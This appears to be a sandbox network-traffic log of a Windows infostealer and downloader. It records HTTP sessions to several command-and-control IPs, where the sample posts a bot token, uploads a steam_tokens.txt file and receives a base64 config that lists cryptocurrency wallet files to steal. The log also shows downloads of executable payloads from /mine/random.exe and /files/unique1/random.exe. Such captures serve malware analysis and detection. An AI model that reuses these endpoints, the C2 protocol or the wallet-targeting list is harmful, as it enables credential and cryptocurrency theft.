4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="message"wallets------GDGIJECGDGCBKECAKFBG--
Nov 30, 2024 09:44:30.855529070 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 30, 2024 09:44:31.059112072 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHI Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 2d 2d 0d 0a Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="message"files------ECBGCBGCAFIIECBFIDHI--
Nov 30, 2024 09:44:31.576924086 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 09:44:31.588161945 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHDBAAFIDGDAAAAAAAA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="file"------IEHDBAAFIDGDAAAAAAAA--
Nov 30, 2024 09:44:32.550154924 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 09:44:32.575855970 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIIDAEBGCAAECAKFHII Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 2d 2d 0d 0a Data Ascii: ------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="message"ybncbhylepme------BGIIDAEBGCAAECAKFHII--
Nov 30, 2024 09:44:33.032629967 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49759	185.215.113.16	80	6964	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:44:33.156864882 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 30, 2024 09:44:34.550458908 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:44:34 GMT Content-Type: application/octet-stream Content-Length: 1894400 Last-Modified: Sat, 30 Nov 2024 08:21:37 GMT Connection: keep-alive ETag: "674acb11-1ce800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf K@PK@WkD\KK @.rsrcD@.idata @ *@rodlpghq@1@uclczwpoK@.taggant0 K"@
Nov 30, 2024 09:44:34.550704956 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:44:34.551354885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:44:34.551695108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:44:34.551703930 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:44:34.552508116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:44:34.553200006 CET	1236	IN	Data Raw: ab cc 4f 43 aa ba 24 65 30 2f 74 ee aa c3 05 3a f9 0f 74 62 db 40 50 46 9c 51 af 92 6e 0b 0e c1 db bf 21 25 b5 3b 92 91 da 13 6e 24 39 73 14 22 e8 41 23 92 f2 23 67 7a d9 7f 47 dc 29 0f 2c e5 45 2f 61 9e b2 8f 6e 28 79 73 74 e2 a9 c0 76 f3 61 ff Data Ascii: OC$e0/t:tb@PFQn!%;n$9s"A##gzG),E/an(ystva%3~Ybbn<stK:gw25q~3bYNE{79"'#k=L"fgZsto{av& _Bg6"Z3!>1B3mNr
Nov 30, 2024 09:44:34.553210020 CET	248	IN	Data Raw: cc 5b c1 e4 e4 a7 68 56 00 d7 ba 11 f4 ec 5e 12 01 f5 f4 c5 be df f5 81 a0 9c e0 19 4d 25 1d f8 51 2a b6 50 90 e6 ef 24 f7 3d 2e b5 55 f7 c0 13 be ce 14 62 36 de 4d df ad 35 2e 82 d0 78 4b 69 7a f7 29 d5 f9 11 ca 8d eb 56 f9 3a 68 1f a8 de 7a d2 Data Ascii: [hV^M%Q*P$=.Ub6M5.xKiz)V:hzR;DY!y-K.scO+i~l=]"b2E a1>XTUm0F,>$?YY[Ws`UJ8fw_UjKj,Uv]Ciu+lrYDGPm
Nov 30, 2024 09:44:34.554064035 CET	1236	IN	Data Raw: 7c 00 4a 24 0f 27 ec e4 7b f1 71 be 55 72 2a ae be 5b 9a 35 a5 70 e7 f0 3b 7f ef e1 b8 50 f1 d5 8e 02 db 57 0d ff 26 49 88 e7 66 df b2 f7 b8 1f 9a 24 b7 26 9a f3 2b 3f b0 1e 69 5b 7c 14 b2 ad a1 31 23 cb d5 6f 5e 09 22 75 6e 95 54 bf d2 fc aa ab Data Ascii: \|J$'{qUr*[5p;PW&If$&+?i[\|1#o^"unT$:$#cf1w_T}(572PA~'.<\|S7Yl1b^ljX'b?1w#CtrCut0`kXiPb$i}iM~7cj^52Z=0"bbGo
Nov 30, 2024 09:44:34.554075003 CET	1236	IN	Data Raw: 68 dc 9f 97 c4 8f c4 b0 66 6d df 01 9f 2e f1 63 4a a3 44 25 f6 03 70 de 30 51 77 7d bc 8d 8f 25 58 cf 70 2a 3b e7 62 88 71 21 6d e7 19 da 03 c2 5d 62 67 40 41 ee de db 09 dc cb 58 91 47 83 ac b2 25 21 af 81 33 41 c2 b8 c7 9c c8 2a 85 86 4f 43 d6 Data Ascii: hfm.cJD%p0Qw}%Xp;bq!m]bg@AXG%!3AOC$2rmW1{fe#a=6otZ@ uE`!T>}6!t6<2W+Q8Yy."Cc}2<7?&nO=\|46vK!T&E\7K,t}oz.bi
Nov 30, 2024 09:44:34.670562029 CET	1236	IN	Data Raw: eb 63 f7 f2 1a f1 55 ef af 0e ab 93 23 bf 4d df 17 35 32 50 78 68 5d 14 6b 41 ca dd 91 ae ef 58 2b ef 73 99 be f8 76 b9 71 b9 34 21 12 39 6e 60 0f 72 0d 29 fb 91 be 92 e7 28 29 3c 69 7a d2 69 b6 f0 e7 da 78 f3 57 91 14 b0 3b ef bf c7 6c 25 d0 c9 Data Ascii: cU#M52Pxh]kAX+svq4!9n`r)()<izixW;l%{zb=R.VS[Rp_ybMPL5z55n{+ 6jXu.EmT2>p\|=M$ZV%P\|3!'XVDu=p0\igj'ZI7XsOf@A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49760	185.215.113.206	80	6964	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:44:38.297076941 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKJDAAFBKFHIEBFCFBK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 2d 2d 0d 0a Data Ascii: ------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAKJDAAFBKFHIEBFCFBK--
Nov 30, 2024 09:44:40.193559885 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49778	185.215.113.43	80	7408	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:03.383440018 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 09:45:04.768692017 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:45:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49784	185.215.113.43	80	7408	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:06.402477026 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 36 32 45 37 38 42 32 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB62E78B25082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 30, 2024 09:45:07.812529087 CET	862	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:45:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 39 66 0d 0a 20 3c 63 3e 31 30 31 30 35 37 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 30 35 37 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 30 35 37 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 30 35 37 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 [TRUNCATED] Data Ascii: 29f <c>1010570001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1010571001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1010572001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1010573001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1010574001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1010575001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1010576001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49790	31.41.244.11	80	7408	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:07.936687946 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 30, 2024 09:45:09.334391117 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:45:09 GMT Content-Type: application/octet-stream Content-Length: 4421120 Last-Modified: Sat, 30 Nov 2024 08:26:18 GMT Connection: keep-alive ETag: "674acc2a-437600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 65 49 49 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4a 4f 00 00 d8 78 00 00 32 00 00 00 40 c9 00 00 10 00 00 00 60 4f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c9 00 00 04 00 00 85 73 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 30 76 00 73 00 00 00 00 20 76 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 2a c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 2a c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELeIIg(JOx2@`O@psD@ _0vs vt$ v<(@.rsrc vL(@.idata 0vN(@ 7@vP(@bjjwxerz0R(@jotsvnig0PC@.taggant0@"TC@
Nov 30, 2024 09:45:09.334403992 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
